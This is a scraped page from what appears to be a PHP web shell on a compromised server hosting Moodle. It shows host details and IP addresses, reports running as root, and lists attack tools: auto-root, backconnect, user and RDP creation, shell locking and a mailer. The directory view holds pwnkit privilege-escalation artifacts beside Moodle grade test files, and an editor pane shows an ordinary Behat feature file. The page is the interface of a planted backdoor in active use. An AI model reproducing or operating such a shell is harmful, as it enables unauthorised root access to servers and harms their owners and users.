Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
grade /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
behat_grade.php
15.78
KB
-rwxrwxrwx
behat_grades.php
3.87
KB
-rwxrwxrwx
grade_UI_settings.feature
2.35
KB
-rwxrwxrwx
grade_aggregation.feature
30.71
KB
-rwxrwxrwx
grade_aggregation_changes.feat...
19.65
KB
-rwxrwxrwx
grade_average.feature
2.28
KB
-rwxrwxrwx
grade_calculated_grade_items.f...
10.71
KB
-rwxrwxrwx
grade_calculated_grade_items_2...
10.8
KB
-rwxrwxrwx
grade_calculated_weights.featu...
13.81
KB
-rwxrwxrwx
grade_category_validation.feat...
6.47
KB
-rwxrwxrwx
grade_contribution_with_extra_...
3.98
KB
-rwxrwxrwx
grade_grade_minmax_change.feat...
3.81
KB
-rwxrwxrwx
grade_hidden_items.feature
4.75
KB
-rwxrwxrwx
grade_hidden_items_locked_cate...
4.34
KB
-rwxrwxrwx
grade_item_duplication.feature
2.21
KB
-rwxrwxrwx
grade_item_validation.feature
5.02
KB
-rwxrwxrwx
grade_letter_boundary.feature
1.85
KB
-rwxrwxrwx
grade_letter_boundary_20160518...
1.96
KB
-rwxrwxrwx
grade_letter_logging.feature
1.46
KB
-rwxrwxrwx
grade_mingrade.feature
6.23
KB
-rwxrwxrwx
grade_minmax.feature
11.22
KB
-rwxrwxrwx
grade_natural_exclude_empty.fe...
20.13
KB
-rwxrwxrwx
grade_natural_exclude_empty_20...
21.03
KB
-rwxrwxrwx
grade_natural_normalisation.fe...
14.54
KB
-rwxrwxrwx
grade_natural_normalisation_20...
7.12
KB
-rwxrwxrwx
grade_override_letter.feature
9.56
KB
-rwxrwxrwx
grade_point_maximum.feature
4.7
KB
-rwxrwxrwx
grade_regrade_do_not_override....
3.74
KB
-rwxrwxrwx
grade_scales.feature
10.83
KB
-rwxrwxrwx
grade_scales_aggregation.featu...
6.99
KB
-rwxrwxrwx
grade_scales_logging.feature
959
B
-rwxrwxrwx
grade_single_item_scales.featu...
8.24
KB
-rwxrwxrwx
grade_to_pass.feature
13.24
KB
-rwxrwxrwx
grade_view.feature
5.15
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : grade_point_maximum.feature
@core @core_grades Feature: We can change the grading type and maximum grade point values In order to verify that we can change the system-level maximum grade point value As an admin I need to modify the system maximum grade point and ensure that activities can use the full range. I need to ensure that using scales for activities still works correctly. I need to ensure that the maximum grade point value is enforced for new and existing activities. Background: Given the following "courses" exist: | fullname | shortname | category | format | | Course 1 | C1 | 0 | topics | Given the following "activities" exist: | activity | course | idnumber | name | intro | | assign | C1 | assign1 | Test Assignment 1 | Test Assignment 1 | And I log in as "admin" And I navigate to "Grades > General settings" in site administration And I set the following fields to these values: | Grade point maximum | 900 | | Grade point default | 800 | And I press "Save changes" And I am on "Course 1" course homepage @javascript Scenario: Validate that switching the type of grading used correctly disables input form elements Given I am on the "Test Assignment 1" "assign activity editing" page When I expand all fieldsets And I set the field "grade[modgrade_type]" to "Point" Then the "Scale" "select" should be disabled And the "Maximum grade" "field" should be enabled And I set the field "grade[modgrade_type]" to "Scale" And the "Maximum grade" "field" should be disabled Then the "Scale" "select" should be enabled And I set the field "grade[modgrade_type]" to "None" Then the "Scale" "select" should be disabled And the "Maximum grade" "field" should be disabled And I press "Save and return to course" @javascript Scenario: Create an activity with a maximum grade point value less than the system maximum Given I am on the "Test Assignment 1" "assign activity editing" page When I expand all fieldsets And I set the field "grade[modgrade_type]" to "point" And I set the field "grade[modgrade_point]" to "600" And I press "Save and display" And I am on the "Test Assignment 1" "assign activity editing" page Then the field "grade[modgrade_point]" matches value "600" And the "Scale" "select" should be disabled And I press "Save and return to course" @javascript Scenario: Create an activity with a scale as the grade type Given I am on the "Test Assignment 1" "assign activity editing" page When I expand all fieldsets And I set the field "grade[modgrade_type]" to "Scale" And I set the field "grade[modgrade_scale]" to "Separate and Connected ways of knowing" And I press "Save and display" And I am on the "Test Assignment 1" "assign activity editing" page Then the field "grade[modgrade_scale]" matches value "Separate and Connected ways of knowing" And the "Maximum grade" "field" should be disabled And I press "Save and return to course" @javascript Scenario: Create an activity with no grade as the grade type Given I am on the "Test Assignment 1" "assign activity editing" page When I expand all fieldsets And I set the field "grade[modgrade_type]" to "None" And I press "Save and display" And I am on the "Test Assignment 1" "assign activity editing" page And the "Scale" "select" should be disabled And the "Maximum grade" "field" should be disabled And I press "Save and return to course" Scenario: Create an activity with a maximum grade point value higher than the system maximum Given I am on the "Test Assignment 1" "assign activity editing" page When I expand all fieldsets And I set the field "grade[modgrade_type]" to "Point" And I set the field "grade[modgrade_point]" to "20000" And I press "Save and display" Then I should see "Invalid grade value. This must be an integer between 1 and 900" And I press "Cancel" Scenario: Create an activity with a valid maximum grade point and then change the system maximum to be lower Given I am on the "Test Assignment 1" "assign activity editing" page When I expand all fieldsets And I set the field "grade[modgrade_type]" to "point" And I set the field "grade[modgrade_point]" to "600" And I press "Save and display" And I navigate to "Grades > General settings" in site administration And I set the following fields to these values: | Grade point maximum | 100 | And I press "Save changes" And I am on the "Test Assignment 1" "assign activity editing" page And I press "Save and display" Then I should see "Invalid grade value. This must be an integer between 1 and 100" And I press "Cancel"
Close